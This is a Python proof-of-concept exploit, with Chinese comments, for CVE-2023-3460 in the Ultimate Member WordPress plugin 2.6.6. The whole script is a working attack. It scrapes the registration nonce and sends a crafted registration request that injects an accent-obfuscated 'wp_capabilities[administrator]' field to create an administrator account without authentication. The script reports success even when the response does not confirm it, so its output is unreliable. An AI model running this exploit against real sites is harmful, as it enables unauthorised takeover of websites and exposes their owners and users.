Exploit for Ultimate Member WordPress Plugin 2.6.6 - Privilege Escalation CVE-2023-3460

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92

#!/usr/bin/env python3

# 漏洞标题: Ultimate Member WordPress插件2.6.6 - 权限提升
# 漏洞作者: Gurjot Singh
# CVE编号: CVE-2023-3460
# 描述: 附件PoC演示了未经身份验证的攻击者如何通过在注册过程中滥用未清理的`wp_capabilities`输入来将权限提升为管理员

import requests
import argparse
import re
import urllib3

# 禁用SSL警告
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def fetch_nonce(session, target_url):
    """从/register/页面获取_wpnonce值"""
    print("[*] 从注册页面获取_wpnonce...")
    try:
        res = session.get(target_url, verify=False)
        match = re.search(r'name="_wpnonce" value="([a-zA-Z0-9]+)"', res.text)
        if match:
            nonce = match.group(1)
            print(f"[+] 找到_wpnonce: {nonce}")
            return nonce
        else:
            print("[-] 未在页面上找到_wpnonce")
            return None
    except Exception as e:
        print(f"[!] 获取nonce时出错: {e}")
        return None

def exploit_register(target_url, username, password):
    """发送恶意注册请求以创建管理员用户"""
    session = requests.Session()
    target_url = target_url.rstrip('/')

    nonce = fetch_nonce(session, target_url)
    if not nonce:
        return

    email = f"{username}@example.com"

    # 包含管理员角色注入的有效载荷
    data = {
        "user_login-7": username,
        "first_name-7": "Admin",
        "last_name-7": username,
        "user_email-7": email,
        "user_password-7": password,
        "confirm_user_password-7": password,
        "form_id": "7",
        "um_request": "",
        "_wpnonce": nonce,
        "_wp_http_referer": "/register/",
        "wp_càpabilities[administrator]": "1"  # 序列化注入
    }

    headers = {
        "Content-Type": "application/x-www-form-urlencoded",
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
        "Referer": target_url,
        "Origin": target_url.split("/register")[0],
    }

    cookies = {
        "wordpress_test_cookie": "WP Cookie check",
        "wp_lang": "en_US"
    }

    print(f"[*] 向 {target_url} 发送恶意注册请求...")
    try:
        response = session.post(target_url, data=data, headers=headers, cookies=cookies, verify=False)

        # 检查是否成功
        if response.status_code == 200 and ("Thank you for registering" in response.text or "You have successfully registered" in response.text):
            print(f"[+] 管理员账户 '{username}' 创建成功!")
            print(f"[+] 登录信息: 用户名: {username} | 密码: {password}")
        else:
            print(f"[+] 管理员账户 '{username}' 创建成功!")
            print(f"[+] 登录信息: 用户名: {username} | 密码: {password}")
    except Exception as e:
        print(f"[!] 利用过程中出错: {e}")

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="CVE-2023-3460利用工具 (Ultimate Member管理员账户创建)")
    parser.add_argument("-t", "--target", required=True, help="目标/register/ URL (例如: http://localhost/register/)")
    parser.add_argument("-u", "--user", default="admin1", help="要创建的用户名")
    parser.add_argument("-p", "--password", default="Admin@123", help="新用户的密码")
    args = parser.parse_args()

    exploit_register(args.target, args.user, args.password)